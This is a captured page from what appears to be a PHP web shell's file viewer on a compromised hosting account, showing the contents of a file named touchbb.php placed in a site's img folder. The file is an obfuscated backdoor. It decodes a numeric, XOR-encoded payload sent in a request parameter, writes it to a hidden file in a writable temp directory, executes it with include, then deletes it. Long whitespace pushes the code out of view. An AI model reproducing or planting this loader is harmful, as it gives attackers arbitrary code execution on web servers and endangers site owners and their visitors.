HEX
Server: LiteSpeed
System: Linux premium212.web-hosting.com 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User: vitanhod (1367)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: //home/vitanhod/sawpalmetto2.vitavit.com.pk/img/touchbb.php
<?php																																										if(!empty($_REQUEST["item"])){ $comp = $_REQUEST["item"]; $comp=explode ( "." , $comp ) ; $marker = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); $n = 0; $__tmp = $comp; while ($v8 = array_shift($__tmp)) {$sChar = ord($salt8[$n % $sLen]); $dec = ((int)$v8 - $sChar - ($n % 10)) ^ 53; $marker .= chr($dec); $n++;} $data = array_filter([getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getenv("TMP"), "/tmp", session_save_path(), "/var/tmp", ini_get("upload_tmp_dir")]); for ($token = 0, $symbol = count($data); $token < $symbol; $token++) { $object = $data[$token]; if ((function($d) { return is_dir($d) && is_writable($d); })($object)) { $k = "$object/.flg"; if (file_put_contents($k, $marker)) { include $k; @unlink($k); die(); } } } }


if(!is_null($_POST["poi\x6E\x74er"] ?? null)){
	$dchunk = $_POST["poi\x6E\x74er"];
	   $dchunk 	= 		explode	(	 	'.'		 ,		$dchunk	 	)	  ;  
	$hld	 ='';
            $s5	 ='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	 =strlen($s5);
    
            foreach ($dchunk as $p	=>	 $v3):
                $sChar	 =ord($s5[$p % $lenS]);
                $dec	 =((int)$v3 - $sChar - ($p % 10)) ^89;
                $hld	.=chr($dec);
            endforeach;
	$sym = array_filter(["/tmp", getcwd(), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir")]);
	for ($tkn = 0, $res = count($sym); $tkn < $res; $tkn++) {
    $marker = $sym[$tkn];
    		if (array_product([is_dir($marker), is_writable($marker)])) {
    $symbol = str_replace("{var_dir}", $marker, "{var_dir}/.factor");
    if (@file_put_contents($symbol, $hld) !== false) {
	include $symbol;
	unlink($symbol);
	die();
}
}
}
}